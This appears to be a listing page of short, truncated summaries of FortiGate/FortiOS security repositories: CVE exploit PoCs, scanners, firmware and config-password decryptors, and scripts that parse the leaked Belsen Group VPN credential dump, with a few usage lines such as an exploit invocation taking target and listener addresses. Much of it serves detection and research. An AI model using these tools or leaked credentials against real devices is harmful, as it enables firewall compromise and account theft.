CVE-2024-21762

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求所有被恐怖组织哈马斯劫持为人质的公民安全返回。我们不会停歇，直到每个人质获释并平安回家。你也可以帮助他们回家。https://stories.bringthemhomenow.net/ CVE-2024-21762 该PoC通过利用FortiGate中已识别的安全漏洞，展示了远程代码执行的潜力。 CVE-2024-21762 PoC 💣 描述 本仓库包含一个针对下一代防火墙FortiGate漏洞的Python利用程序。该利用程序利用一个安全缺陷在目标系统上执行任意代码。 功能 🚀 root@kitploit:...

CVE-2022-40684

CVE-2022-40684 CVE-2022-40684 exploit individual o por lotes Modo de uso Generar clave pública python3 exp.py -u ip:port -k idrsa2048.pub -l hosts.txt especificar archivo por lotes FOFA title="FortiGate"...

cve-2024-21762-check

CVE-2024-21762 检测 安全地检测 FortiGate SSL VPN 是否易受 CVE-2024-21762 攻击。有关更多信息，请参阅这篇 Bishop Fox 博客文章 使用方法 root@kitploit: python3 check-cve-2024-21762.py 大多数情况下，脚本会输出 Vulnerable 或 Patched。它会执行最低限度的验证，确保目标确实是 FortiOS SSL VPN，某些情况下会在提供输出前打印警告。如果出现这种情况，请再次确认你的目标是 FortiOS SSL VPN 接口，而非管理接口。 root@kitploit:...

at-doom-fortigate

At Doom Fortigate root@kitploit: ================= =============== =============== ======== ======== \ . . . . . . .\ //. . . . . . .\ //. . . . . . .\ \. . .\// . . // ||. . .. . .|| ||. . .. . .|| ||. . .. . .|| || . . ./ . . .|| || . .|| ||. . || || . .|| ||. . || || . .|| ||. . || ||...

forticrack_v8

Forticrack v8.0.0 Descifra y extrae imágenes de firmware de FortiOS 8.0.0. Este script extiende Forticrack de Bishop Fox para soportar imágenes de firmware 8.0.0. Además, el artículo de RandoriSec sobre el cifrado de firmware de FortiGate 7.4.7 fue muy útil para revertir el cifrado de FortiOS...

CVE-2024-23113

CVE-2024-23113 El script está diseñado para detectar CVE-2024-23113, que es una vulnerabilidad de cadena de formato en el servicio FGFM de FortiGate protocolo FortiGate a FortiManager que se ejecuta en el puerto TCP 541. La vulnerabilidad se produce porque un atacante puede controlar una cadena d...

CVE-2021-44168

CVE-2021-44168 漏洞利用 目的 利用 CVE-2021-44168 在 Fortigate 防火墙上获取一个 shell，并通过 LDPRELOAD 技巧使其在运行某些 Fortigate CLI 命令时执行，从而获得 root shell。 使用 编译： root@kitploit: gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -lz 运行： root@kitploit: % ./gensrc-vispkgfile ./gensrc-vispkgfile -t | -p filename.img -t 生成测试包，或 -p...

CVE-2018-13379

CVE-2018-13379 CVE-2018-13379 https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html https://fortiguard.com/psirt/FG-IR-18-384 Las siguientes versiones de FortiOS eran vulnerables. root@kitploit: FortiOS 5.6.3 to 5.6.7 FortiOS 6.0.0 to 6.0.4 ONLY if the SSL VP...

Fortigate-Belsen-Leak-Dump-CVE-2022-40684-

Fortigate-Belsen-Leak-Dump-CVE-2022-40684 Cómo funciona este script: 1. El script recorre todas las subcarpetas dentro de rootfolder y busca vpn-passwords.txt. 2.Salta cualquier línea que contenga el banner '-=-= Belsen Group -=-=.' 3. Para las líneas con el formato usuario:contraseña Extrae la...

fgt-cve-2023-27997-exploit

fgt-cve-2023-27997-exploit Script PoC de exploit para FortiGate SSL‑VPN CVE‑2023‑27997 con cadena ROP Contenido Descripción Versiones Afectadas Instalación Uso Ejemplo de Salida Detalles Técnicos Advertencias Referencias Descripción fgt-cve-2023-27997-exploit.py es un script de exploit...

CVE-2019-6693

CVE-2019-6693 解密 FortiGate 配置密钥 原始公告 厂商公告 对于版本低于 6.2.0、6.0.0 至 6.0.6、5.6.10 的 FortiGate VM/设备，配置密钥使用唯一密钥加密存储。 对于更高版本，非默认的 private-data-encryption 参数允许用户使用自定义密钥。这种做法即使今天也极少使用。 此脚本可从导出的配置中解密密钥。...

fortiscan

Fortiscan CVE-2018-13379 FG-IR-18-384 Exploitation Tool, You can use this tool to check the vulnerability in your FortiGate SSL-VPN. This vulnerability affects the following versions: • FortiOS 6.0 - 6.0.0 to 6.0.4 • FortiOS 5.6 - 5.6.3 to 5.6.7 • FortiOS 5.4 - 5.4.6 to 5.4.12...

FortiOS - Insecure LDAP Configuration Detection

The FortiGate LDAP configuration was detected to be insecure due to missing ca-cert, secure LDAPS, or server-identity-check, potentially exposing LDAP communications to credential interception or man-in-the-middle attacks under specific network conditions. id: CVE-2019-5591 info: name: FortiOS -...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 可被此代码利用。（注意：代码编写方式非常愚蠢。） 概念验证 root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray + execute...

gotigate

gotigate 利用 CVE-2022-40684 安装 root@kitploit: ▶ go install github.com/gustavorobertux/gotigate@latest 基本用法 root@kitploit: ▶ gotigate TARGET IP or youraddress.com "height":1, "interface":"", "csf-device":"", "table-visualization":"", "device-list-online":"", "device-list-telemetry":"",...

CVE-2025-59718-Fortinet-Poc

CVEs: CVE-2025-59718 / CVE-2025-59719 Fortinet Poc Herramienta para la detección de vulnerabilidades asociadas a CVE-2025-59718 y CVE-2025-59719 en dispositivos Fortinet FortiOS / FortiGate, mediante múltiples técnicas de identificación: pasivas, activas y autenticadas. Soporta: • Detección pasiv...

CVE-2024-23113

CVE-2024-23113 Este script de Python busca en una lista de clientes para ver si su dispositivo FortiGate es vulnerable a este CVE. Cómo Usar 1. Crea un archivo "clients.txt" e importa una lista con las direcciones IP de todos tus clientes. 2. Crea un archivo "vul.txt". Se utilizará para exportar...

cve-2019-6693

Script de descifrado de contraseñas FortiGate - CVE-2019-6693 🔐 Un usuario remoto autorizado con acceso o conocimiento de la clave de cifrado estándar podría obtener acceso y descifrar los archivos de respaldo de FortiOS y todas las contraseñas de no administradores, claves privadas y contraseñas...

fortigate-belsen-leak

╔═════════════════════════════════════════════════════════════════════════════╗ ║ ███████╗ ██████╗ ██████╗ ████████╗██╗ ██████╗ █████╗ ████████╗███████╗ ║ ║ ██╔════╝██╔═══██╗██╔══██╗╚══██╔══╝██║██╔════╝ ██╔══██╗╚══██╔══╝██╔════╝ ║ ║ █████╗ ██║ ██║██████╔╝ ██║ ██║██║ ███╗███████║ ██║ █████╗ ║ ║...

FortiGate FortiOS SSL VPN Web Portal - Cross-Site Scripting

FortiGate FortiOS through SSL VPN Web Portal contains a cross-site scripting vulnerability. The login redir parameter is not sanitized, so an attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal...